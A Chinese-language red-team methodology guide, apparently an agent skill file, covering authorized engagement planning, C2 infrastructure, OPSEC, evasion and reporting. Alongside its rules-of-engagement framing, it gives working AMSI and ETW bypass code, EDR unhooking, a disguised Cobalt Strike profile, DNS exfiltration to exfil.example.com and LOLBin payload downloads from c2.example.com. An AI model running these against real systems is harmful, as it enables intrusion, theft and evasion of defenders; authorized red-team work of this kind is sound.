offensive-advanced-redteam

高级红队行动

红队演练模拟真实攻击者对组织的人员、流程和技术发起攻击。与在固定范围内尽可能多地发现漏洞的渗透测试不同，红队行动会在躲避防守方的同时追求特定目标，以检验检测和响应能力。行动须遵循交战规则，明确规定哪些活动在授权范围内；你采取的每项行动都必须审慎、记录在案且可逆。本技能涵盖从初始规划到最终复盘的完整演练生命周期。

快速工作流

1. 与客户协商范围、交战规则和冲突消解流程。
2. 构建分层攻击基础设施，包括重定向器、注册时间较长的域名和有效 TLS。
3. 配置 C2 配置文件，使其流量模式与目标的合法流量相似。
4. 执行攻击链，同时严格遵守 OPSEC，并记录每项行动。
5. 对数据进行收集和暂存，并加密处理；全程维护证据保管链。
6. 使用经过测试的绕过技术规避端点和网络防御。
7. 使用 MITRE ATT&CK 映射记录发现，并提交结构化报告。
8. 开展紫队复盘，验证检测缺口并确认修复情况。

---

演练规划

每次红队演练都从规划开始，以保护操作人员和客户。跳过此阶段会导致范围争议、法律风险和行动失败。

范围和目标

明确测试内容以及成功的标准。常见目标类型包括数据外泄（从数据库中提取特定记录）、域控制权（获取 Domain Admin 或同等权限）、业务流程中断（证明能够停止关键工作流）和物理访问（进入受限区域）。

明确记录不在范围内的事项：无法承受停机的生产系统、未经授权的第三方 SaaS 平台、破坏性操作，以及针对特定个人（高管、法律顾问）的社会工程。

交战规则（ROE）

ROE 是一份签署的法律文件，必须包含：

• 授权时段：允许开展活动的具体日期和时段。
• 授权技术：允许使用哪些 ATT&CK 战术（例如，不允许物理访问，不允许供应链攻击）。
• 通知阈值：必须暂停并通知客户的情况（例如，发现正在活动的威胁行为者、发现儿童性剥削材料、意外销毁数据）。
• 紧急联系人：用于立即消解冲突的全天候电话号码，而不只是电子邮件地址。
• 法律保障：明确的书面授权，并注明《计算机欺诈和滥用法》（美国）、《计算机滥用法》（英国）或当地同等法律。

冲突消解

建立冲突消解流程，以便防守方确认观察到的活动是你的行动还是实际威胁。常见方法包括：

• 可信联系人模式：在防守方安排一到两名知晓演练正在进行的人员，他们可以通过安全渠道确认或否认相关活动是否由你方发起。
• 口令系统：在工具或流量中嵌入唯一口令，防守方可以向可信联系人核实。
• 冲突消解日志：记录你采取的每项行动及其时间戳，并通过加密渠道近乎实时地与可信联系人共享。

# Example deconfliction log entry
2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement
  TARGET: 10.10.5.22 (WORKSTATION-FIN03)
  TECHNIQUE: T1021.006 (Windows Remote Management)
  TOOL: evil-winrm via SOCKS proxy
  NOTES: creds from LSASS dump on WORKSTATION-FIN01
  DECONF-CODE: REDTIGER-4482

通信安全

所有操作人员的通信都必须使用端到端加密渠道。切勿通过未加密的电子邮件或 Slack 讨论目标细节。使用专用的加密消息平台（Signal、Wire 或可自托管的 Matrix 实例）进行实时协调。通过双向身份验证的 TLS 或 GPG 加密归档文件传输文件和日志。

---

基础设施设置

基础设施是红队演练与在 Kali 虚拟机上执行的渗透测试之间的区别所在。投入时间构建具有韧性的基础设施，确保其只能归因于你的掩护身份，并进行分段，以免某项资产暴露就危及整个行动。将基础设施相关行动映射到 MITRE ATT&CK 资源开发（TA0042）。

分层架构

将基础设施划分为至少三层：

层级	用途	暴露容忍度	示例
T1 - 投递	网络钓鱼、载荷托管	高（预期会暴露）	注册时间较长的域名 + Mailgun
T2 - 短程 C2	交互式操作员会话	中	VPS + Cloudflare 隧道
T3 - 长程 C2	持久化回连	低（不惜一切代价保护）	DNS-over-HTTPS 信标

每层都使用独立的域名、独立的 VPS 提供商和独立的操作员账号。如果 T2 暴露，你可以通过 T3 重新建立交互式访问，而不必再次发送网络钓鱼邮件。

域名预热与信誉

至少在演练开始前 14-30 天注册域名。在预热期间：

# Set up a basic landing page to build categorization
sudo certbot certonly --standalone -d ops-portal.example.com
echo "<html><body>Coming soon</body></html>" > /var/www/html/index.html

# Submit to categorization services
# Visit: https://sitereview.bluecoat.com/
# Visit: https://www.fortiguard.com/webfilter
# Categorize as "Business" or "Technology" - never "Uncategorized"

# Verify categorization after 7-10 days
curl -s "https://sitereview.bluecoat.com/resource/lookup" \
  -d "url=ops-portal.example.com" | jq .

选择与目标所在行业相符的域名。如果目标是金融公司，那么类似金融科技 SaaS 产品的域名，比游戏网站更可信。

重定向器与流量过滤

切勿将团队服务端直接暴露在互联网上。使用重定向器过滤流量，只转发合法的信标回连。

# /etc/nginx/sites-available/redirector.conf
# Smart redirector: forward only traffic matching your C2 profile
server {
    listen 443 ssl;
    server_name ops-portal.example.com;

    ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;

    # Only forward requests with the correct URI and User-Agent
    location /api/v2/session {
        if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://127.0.0.1:8443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    # Everything else redirects to a legitimate site
    location / {
        return 302 https://www.microsoft.com;
    }
}

对于团队服务端管理流量，应使用 Cloudflare Zero Trust 隧道或 SSH 隧道，而不是暴露管理端口：

# Bind team server to localhost only
./teamserver 127.0.0.1 <password> /path/to/malleable.profile

# Create a Cloudflare tunnel for operator access
cloudflared tunnel create redteam-mgmt
cloudflared tunnel route dns redteam-mgmt mgmt.internal-ops.example.com
cloudflared tunnel run --url tcp://127.0.0.1:50050 redteam-mgmt

# Operators connect through the tunnel
# On operator machine:
cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050

VPS 与 TLS 证书

使用接受加密货币或预付卡的 VPS 提供商，以降低归因风险。避免使用会在不经正当程序的情况下向执法部门随意透露基础设施详情的提供商。务必使用来自公共 CA 的有效 TLS 证书；网络监控可以轻易识别自签名证书的指纹。

# Generate a certificate with certbot
sudo certbot certonly --standalone -d c2.example.com

# Convert to Java Keystore for Cobalt Strike
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \
  -out c2.pkcs12 -name c2 -passout pass:changeit
keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12 \
  -destkeystore c2.store -deststorepass changeit -srcstorepass changeit

---

C2 技术

命令与控制是行动的支柱。你的 C2 流量必须融入目标的正常网络活动，并经得住防御人员的检查。将其映射到 MITRE ATT&CK 命令与控制（TA0011）。

可变配置文件与流量伪装

编写可变配置文件前，先研究目标的正常流量。如果目标使用 Microsoft 365，你的信标流量应模拟 Office 365 API 调用。如果目标大量使用 AWS，则应模仿 AWS SDK 流量模式。

# Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend
set sleeptime "60000";
set jitter    "37";
set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)";
set host_stage "false";

https-certificate {
    set keystore "c2.store";
    set password "changeit";
}

http-get {
    set uri "/api/v2.0/me/messages";
    client {
        header "Accept" "application/json";
        header "Authorization" "Bearer eyJ0eXAiOi...";
        metadata {
            base64url;
            prepend "ocp-client-id=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json; odata.metadata=minimal";
        header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
        output {
            base64url;
            prepend "{\"@odata.context\":\"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\"";
            append "\"}}]}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2.0/me/sendmail";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            prepend "client-request-id=";
            header "Cookie";
        }
        output {
            base64url;
            print;
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64url;
            prepend "{\"status\":\"sent\",\"id\":\"";
            append "\"}";
            print;
        }
    }
}

休眠、抖动与信标管理

除非处于主动键盘操作会话期间，否则切勿使用零休眠间隔；即使在这种情况下，也应优先使用 1-3 秒的间隔。对于空闲信标，使用较长的休眠间隔并设置较高的抖动，以规避对回连时间的统计分析。

信标类型	休眠	抖动	用途
交互式（T2）	5-10s	30-50%	活跃操作员会话
空闲（T2）	60-300s	30-50%	等待任务指令
长程（T3）	12-24h	50%	仅用于持久化
数据外传	30-60s	20%	数据暂存期间

为每个信标设置终止日期。演练结束数月后，遗忘的信标仍在回连，会给客户造成法律责任和困惑。

备用通道

为 C2 设计备用通道，确保失去一条通信路径并不意味着植入程序失联。典型的备用链：

1. 主要通道：通过 CDN 使用 HTTPS 连接到域名 A。
2. 次要通道：通过 DNS-over-HTTPS 连接到域名 B。
3. 第三通道：查询域名 C 的 DNS TXT 记录。
4. 紧急通道：使用 ICMP 或原始 TCP 连接到硬编码 IP（最后手段，检测风险高）。

配置植入程序按顺序尝试各通道，并使用指数退避。如果所有通道均失败，植入程序应进入休眠状态并定期重试，而不是不断产生嘈杂的连接失败尝试。

OPSEC 纪律

OPSEC 失误会导致行动提前结束。你采取的每个行动都会留下痕迹，你的工作就是尽量减少、控制并最终清理这些痕迹。对应 MITRE ATT&CK 防御规避（TA0005）。

规避归因

将你的红队身份与真实身份及其他行动区分开来：

• 所有与行动相关的浏览和注册都使用专用 VPN 或 Tor。
• 使用行动专属的化名和一次性电子邮件地址注册域名和 VPS。
• 绝不在不同的行动中重复使用基础设施、域名或工具。
• 交付前清除所有文件的元数据（图像中的 EXIF、Office 文档中的作者信息、已编译二进制文件中的构建路径）。

# Strip metadata from a phishing document
exiftool -all= phishing_doc.docx

# Verify no identifying metadata remains
exiftool phishing_doc.docx | grep -iE "author|creator|company|producer"

# Strip build paths from a compiled binary (Linux)
strip --strip-all implant
objcopy --remove-section=.note.gnu.build-id implant

工具特征管理

商用和开源工具都有已知特征。修改工具，避免默认指标：

• Cobalt Strike：更改默认命名管道模式、水印和进程注入技术。绝不使用默认配置文件。
• Mimikatz：从源代码编译，并随机化函数名称、加密字符串；或者使用 nanodump、PPLdump 等替代工具，或通过 comsvcs.dll 转储 LSASS。
• Impacket：修改默认服务名称、管道名称和会被防御方用于特征检测的横幅字符串。

指标管理与清理

持续记录你在目标环境中引入的每一项指标：投放的文件、修改的注册表项、创建的服务、添加的计划任务、创建的用户账户。行动结束时，移除所有痕迹，或向客户提供完整清单，以便他们自行清理。

# Example cleanup script - remove all operator artifacts
# Run this ONLY after documenting everything in your engagement log

# Remove dropped files
Remove-Item -Force "C:\ProgramData\updater.exe"
Remove-Item -Force "C:\Windows\Temp\debug.log"

# Remove persistence mechanisms
Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "Updater"

# Remove created accounts
Remove-LocalUser -Name "svc_backup$"

# Clear operator event log entries (provide log of cleared entries to client)
# WARNING: Only do this if explicitly authorized in the ROE

---

数据处理

你在行动期间收集的每一项数据都是敏感数据。处理不当会带来法律责任，并损害客户信任。对应 MITRE ATT&CK 收集（TA0009）和外传（TA0010）。

收集与加密

立即加密所有收集的数据。绝不在操作人员的设备或云存储中以明文形式存储凭据、个人身份信息或敏感业务数据，除非已加密。

# Encrypt collected data before transfer
tar czf - loot/ | gpg --symmetric --cipher-algo AES256 \
  --batch --passphrase-file /path/to/engagement.key > loot.tar.gz.gpg

# Transfer via SCP to your secure evidence server
scp loot.tar.gz.gpg [email protected]:/engagements/2026-CLIENT/

# Verify integrity
sha256sum loot.tar.gz.gpg > loot.tar.gz.gpg.sha256

暂存与外传

在外传前，将数据暂存到受控位置。不要直接从源系统外传数据；先复制到暂存目录，压缩并加密，然后通过 C2 通道或专用外传路径传输。

对于大量数据，使用 DNS 分块传输，或将文件拆分为多个 HTTP POST 请求，以避免触发 DLP 阈值：

# Chunk a file for exfiltration over DNS TXT queries
import base64, os

def chunk_file(filepath, chunk_size=180):
    with open(filepath, 'rb') as f:
        data = base64.b32encode(f.read()).decode()
    chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
    return chunks

# Each chunk becomes a DNS query: <chunk>.exfil.example.com
# Reassemble on your DNS server from query logs

证据保管链

为所有证据维护符合取证标准的保管链：

• 在收集时对每个文件进行哈希计算（至少使用 SHA-256）。
• 记录谁在何时、因何原因访问了数据。
• 将证据存储在经过加密且实施访问控制的存储设备上。
• 在约定的保留期限后销毁所有客户数据（通常为报告交付后 30-90 天）。

---

规避技术

现代企业环境会部署 EDR、AMSI、基于 ETW 的遥测和行为分析。你需要能够在这些环境中操作且不触发警报的技术。对应 MITRE ATT&CK 防御规避（TA0005）。

AMSI 绕过

反恶意软件扫描接口（AMSI）会检查 PowerShell、VBScript、JScript 和 .NET 程序集的加载。在这些上下文中运行任何可疑命令前，先绕过 AMSI。

# AMSI bypass via memory patching (patches AmsiScanBuffer to return clean result)
# This is a well-known technique; modify the pattern to avoid static signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

# Alternative: patch the AmsiScanBuffer function directly
# Locate amsi.dll in memory and overwrite the scan function entry point
# with a RET instruction (0xC3) so it returns immediately

ETW 修补

Windows 事件跟踪会向 EDR 传感器提供遥测数据。修补 ETW 可防止你的活动通过此通道被记录。

// Patch EtwEventWrite in ntdll.dll to neutralize ETW logging
// Find the function address and overwrite with a RET (xC3)
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Change memory protection, write 0xC3 (ret), restore protection
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

解除挂钩与直接系统调用

EDR 产品会挂钩 ntdll.dll 函数以监控 API 调用。通过加载一份干净的 ntdll.dll，或使用直接系统调用，绕过这些挂钩。

// Unhooking: read a clean copy of ntdll.dll from disk and overwrite
// the .text section of the loaded ntdll in memory
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Parse PE headers, find .text section, overwrite hooked .text with clean copy
// This removes all EDR inline hooks from ntdll functions

// Direct syscalls: call the kernel directly, bypassing ntdll entirely
// Use tools like SysWhispers3 or HellsGate to resolve syscall numbers at runtime
// Example: NtAllocateVirtualMemory via direct syscall instead of VirtualAllocEx

SysWhispers 方法会生成直接调用系统调用的汇编存根，从而完全绕过任何用户态挂钩。HellsGate 和 HalosGate 会在运行时读取 ntdll.dll 的导出表，动态解析系统调用编号。

LOLBins 与就地取材

优先使用 Windows 内置二进制文件，而非自定义工具。防御人员预期会看到这些二进制文件运行，除非命令行参数可疑，否则可能不会触发警报。

LOLBin	用途	ATT&CK 技术
certutil.exe	下载文件、解码 base64	T1105, T1140
mshta.exe	执行 HTA 载荷	T1218.005
rundll32.exe	加载 DLL、执行导出函数	T1218.011
regsvr32.exe	通过 COM 执行脚本组件	T1218.010
wmic.exe	创建进程、横向移动	T1047
bitsadmin.exe	通过 BITS 下载文件	T1197
curl.exe	下载文件（Windows 10+）	T1105
msbuild.exe	执行内联 C# 任务	T1127.001

# Download a file using certutil (common LOLBin technique)
certutil -urlcache -split -f https://c2.example.com/payload.bin C:\Windows\Temp\payload.bin

# Execute an HTA payload via mshta
mshta https://c2.example.com/payload.hta

# Use MSBuild to execute inline C# (bypasses application whitelisting)
# Requires a .csproj or .xml file with inline Task containing your code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

---

报告

报告是红队演练的主要交付成果。报告必须向管理层和技术防御人员传达调查结果。

报告结构

将报告组织为不同章节，以面向不同受众：

1. 执行摘要（1-2 页）：用非技术语言说明业务影响。攻击者能达成什么目标？组织面临什么风险？
2. 演练概述：范围、目标、时间线、方法，以及遇到的任何限制。
3. 攻击过程叙述：按时间顺序介绍从初始访问到完成目标的攻击链，并附上时间戳和屏幕截图。
4. 技术发现：记录每项发现的描述、受影响的系统、MITRE ATT&CK 映射、证据（屏幕截图、日志）、风险评级和修复建议。
5. MITRE ATT&CK 热力图：以可视化方式映射演练中使用的所有技术，并标出检测成功和失败之处。
6. 修复路线图：按优先级列出建议，并根据工作量和影响进行分组。
7. 指标附录：完整列出演练期间引入的所有 IOC（IP、域名、文件哈希、用户账户、注册表项）。

紫队复盘

复盘是演练发挥最大价值的环节。应在报告交付后一周内进行，以免细节淡忘。

• 由红队和蓝队共同在场，逐步回顾攻击链。
• 在每个步骤中询问：蓝队是否检测到？如果检测到了，花了多久？如果没有，原因是什么？
• 找出具体的检测盲区，并将其对应到日志记录、警报或工具方面的不足。
• 协作制定检测规则，覆盖未被监控发现的技术。
• 在受控环境中重放特定技术，供防御人员调整工具。

---

演练场景

假定已被攻破

从初始立足点开始（使用标准用户凭据的工作站），重点关注利用后活动：横向移动、权限提升和目标达成。这可以在不耗费时间进行初始访问的情况下，测试内部检测与响应能力。主要映射到 TA0008（横向移动）、TA0004（权限提升）和 TA0006（凭据访问）。

从外部到内部

从互联网发起完整攻击链。包括 OSINT、网络钓鱼或外部利用、初始访问，以及完整的利用后操作序列。测试从 TA0043（侦察）到 TA0010（数据外传）的完整攻击链。

内部威胁

模拟一名拥有合法凭据和实体访问权限的恶意员工。重点关注内部人员能够造成的损害：访问超出其职责范围的数据、窃取知识产权或破坏系统。测试数据丢失防护、访问控制和行为分析能力。

实体与网络混合攻击

将实体入侵（尾随进入、克隆门禁卡、撬锁）与网络行动相结合。在实体访问期间植入网络植入物（投放设备），并以此作为初始立足点。测试实体安全控制和网络防御能力。

---

演练速查表

PHASE               KEY ACTIONS                                    ATT&CK TACTIC
-----------------------------------------------------------------------------------
Planning            Scope, ROE, deconfliction, legal auth          --
Infrastructure      Domain aging, VPS, redirectors, TLS            TA0042
Initial Access      Phishing, exploitation, physical               TA0001
Execution           Loader -> minimal implant -> full C2           TA0002
Persistence         Registry, scheduled tasks, DLL hijack          TA0003
Priv Escalation     Token manipulation, UAC bypass, kerberoast     TA0004
Defense Evasion     AMSI bypass, ETW patch, unhook, LOLBins        TA0005
Credential Access   LSASS dump, kerberoast, DCSync                 TA0006
Discovery           AD enumeration, network scanning               TA0007
Lateral Movement    WinRM, SMB, DCOM, RDP hijack                   TA0008
Collection          Stage sensitive data, encrypt                  TA0009
Exfiltration        DNS tunnel, HTTPS chunked, cloud storage       TA0010
C2                  Malleable profiles, sleep/jitter, fallbacks    TA0011
Cleanup             Remove artifacts, verify, document             --
Reporting           Narrative, findings, ATT&CK map, debrief       --

OPSEC RULES (NON-NEGOTIABLE)
  - Team server binds to 127.0.0.1 only; all external access via redirector/tunnel
  - Kill dates on every beacon; no exceptions
  - Zero-sleep only during active hands-on-keyboard; 60s+ otherwise
  - Encrypt all collected data immediately; never store plaintext credentials
  - Separate infrastructure per tier; burning T1 must not expose T3
  - Strip metadata from all delivered files
  - Log every action with timestamp, target, technique, and deconfliction code
  - Never reuse infrastructure, domains, or tooling across engagements

INFRASTRUCTURE QUICK REFERENCE
  Redirector:   nginx/apache with URI + User-Agent filtering
  Tunnel:       cloudflared, SSH, or WireGuard to team server localhost
  Domain age:   minimum 14 days; 30 preferred; categorize within first week
  TLS:          Let's Encrypt or commercial CA; never self-signed
  DNS:          separate registrar from hosting; enable WHOIS privacy

C2 PROFILE CHECKLIST
  [ ] host_stage = false (disable staging)
  [ ] sleep/jitter configured per beacon tier
  [ ] User-Agent matches target's legitimate traffic
  [ ] URIs mimic real application endpoints
  [ ] Memory obfuscation enabled (sleep_mask, obfuscate)
  [ ] Valid TLS certificate in keystore
  [ ] Spawn-to process set to legitimate binary (not rundll32)
  [ ] Named pipes randomized (not default CS pattern)

---

关键参考资料

• MITRE ATT&CK 企业矩阵：https://attack.mitre.org/matrices/enterprise/
• MITRE ATT&CK Navigator：https://mitre-attack.github.io/attack-navigator/
• 使用 Cobalt Strike 进行红队行动（Raphael Mudge）：https://www.cobaltstrike.com/training
• SpecterOps 红队行动课程：https://specterops.io/training
• CISA 红队信息共享指南：https://www.cisa.gov/resources-tools/resources/cisa-red-team-sharing-guide
• TIBER-EU 框架（基于威胁情报的道德红队测试）：https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html
• PTES（渗透测试执行标准）：http://www.pentest-standard.org/
• LOLBAS 项目（利用系统自带二进制文件）：https://lolbas-project.github.io/
• SysWhispers3：https://github.com/klezVirus/SysWhispers3
• HellsGate / HalosGate：https://github.com/am0nsec/HellsGate